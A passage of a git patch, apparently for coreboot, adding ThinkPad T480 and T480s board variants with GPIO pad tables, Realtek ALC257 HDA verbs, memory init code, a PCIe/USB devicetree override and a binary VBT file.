/* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 (AON port) */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 (regular port) */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_NC(GPP_E19, NONE), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_NC(GPP_F0, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, DEEP, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_CFG_GPO(GPP_F4, 1, DEEP), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R961 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_NC(GPP_F16, NONE), ++ PAD_NC(GPP_F17, NONE), ++ PAD_NC(GPP_F18, NONE), ++ PAD_NC(GPP_F19, NONE), ++ PAD_NC(GPP_F20, NONE), ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -INTRUDER_PCH */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +new file mode 100644 +index 0000000000..3a951ce0da +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa225d, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa225d), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +new file mode 100644 +index 0000000000..5252a402f9 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +@@ -0,0 +1,20 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for memory slots */ ++ struct spd_block blk = { .addr_map = { 0x50, 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)blk.spd_array[0]; ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +new file mode 100644 +index 0000000000..bf66bd3a69 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC1), // USB-A ++ [1] = USB2_PORT_MID(OC0), // USB-A (always on) ++ [2] = USB2_PORT_MID(OC_SKIP), // JSC-1 (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // USB-C (charging port) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM1 (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN1 (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN1 (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM1 (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR1 (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD1 (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC1), // USB-A ++ [1] = USB3_PORT_DEFAULT(OC0), // USB-A (always on) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // RTS5344S (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // USB-C (charging port) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - JHDD1 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x4 ++ # PCIE 1-4 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT1 - CLKREQ1 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT2 - CLKREQ2 ++ # PCIE 7-8 - RP5 - WWAN - CLKOUT3 - CLKREQ3 ++ # ++ # PCIe controller 3 - 2x2 ++ # PCIE 9-10 - RP9 - TB3 - CLKOUT4 - CLKREQ4 ++ # PCIE 11-12 - RP11 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x4 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "1" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "2" ++ register "PcieRpClkSrcNumber[6]" = "2" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # M.2 WWAN - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "3" ++ register "PcieRpClkSrcNumber[4]" = "3" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "4" ++ register "PcieRpClkSrcNumber[8]" = "4" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ register "PcieRpHotPlug[8]" = "1" ++ end ++ ++ # M.2 2280 caddy - x2 ++ device ref pcie_rp11 on ++ register "PcieRpEnable[10]" = "1" ++ register "PcieRpClkReqSupport[10]" = "1" ++ register "PcieRpClkReqNumber[10]" = "5" ++ register "PcieRpClkSrcNumber[10]" = "5" ++ register "PcieRpAdvancedErrorReporting[10]" = "1" ++ register "PcieRpLtrEnable[10]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..47732e37d5b2bad4e674fd10eafa605d26f97840 +GIT binary patch +literal 4106 +zcmeHJUu+a*5TCu>yW9JAmoD2P9tqx`iFWXCLD09RaS&4j$?kY0KGYdgn6;MZ*!anbk!PNr!a%eU +zTXkLEL3ly5L&oUX#CS7?b2%Kad?s-#@;mhg8>>>#S&)d2I +zmP&-g0$k02szSQj(Y*j}YYtQnDH0;2ui{mPhI!flfFgv9nqI4Wr~5_?s`k0kALiCvcP +zCrRUFrpVYPYn?Jn%6MGXUXj_GGJYa!U&-tn8Gn&ANnz_0+@olH3VTw)mlf@-!p8{!e#p0ct5}M(h16D>p?OGjSz6v3juERjS +z#z{?mXvVqrXs_rvUmYR40gNzg(QD6y9E94?4DWO|6eb83LI-smcVC6x1n2reH}rAp +zLM);f=tWDCr``UF5T>!;PYu^H1g>EBP8A}2*fM>s-@nC3pDV|}6+CtfhG(II7`pcw +z`jLfJ!?;*R@Bp=Nw2EPOC7FEs(cugIP_K6tN_$~tvS8nx6iOv|IMrO3&-m*N9ZP#b +znG^~>I|l1cUVSeD9r^k3h0TP}WWD9=MZxY<Z3B2yU!k71#YRpThOJtVheMDA50rV#s@U +z+nKbA{O(olYR}icuzQD*-cjBQ9;%!eMDVP>7mWsF@=%>o)wSgq=n%DHNOYwRr4Ao6 +zbNdgEn*RdDS>Rud+fIY0N8JkP3q6;>8o%R(CE2n3?Xg%qP+U%~6|{XFyxv7Y#;J2Z +XK$lk*wsY^m4}9|iz?mg_AjCfat$CyH + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +new file mode 100644 +index 0000000000..fcfbd75a92 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +@@ -0,0 +1,19 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (eDP, ++ DP1, ++ DP2, ++ HDMI1, ++ HDMI2, ++ others => Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +new file mode 100644 +index 0000000000..a98dd2bc4e +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +@@ -0,0 +1,199 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++static const struct pad_config gpio_table[] = { ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, DN_20K, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, DN_20K, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NONE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NONE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, UP_20K, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_CFG_NF(GPP_B0, NONE, DEEP, NF1), ++ PAD_CFG_NF(GPP_B1, NONE, DEEP, NF1), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 (dGPU) */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE3 (WWAN) */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 (GBE) */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 (WLAN) */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 (TB3) */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 (SSD) */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NONE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 0, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_CFG_GPO(GPP_C2, 1, DEEP), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_CFG_GPO(GPP_E0, 1, DEEP), /* BDC_ON */ ++ PAD_NC(GPP_E1, NONE), ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -SATA2_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_CFG_GPO(GPP_E19, 0, DEEP), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_CFG_GPO(GPP_F0, 0, DEEP), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, PLTRST, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_NC(GPP_F4, NONE), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R37 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ 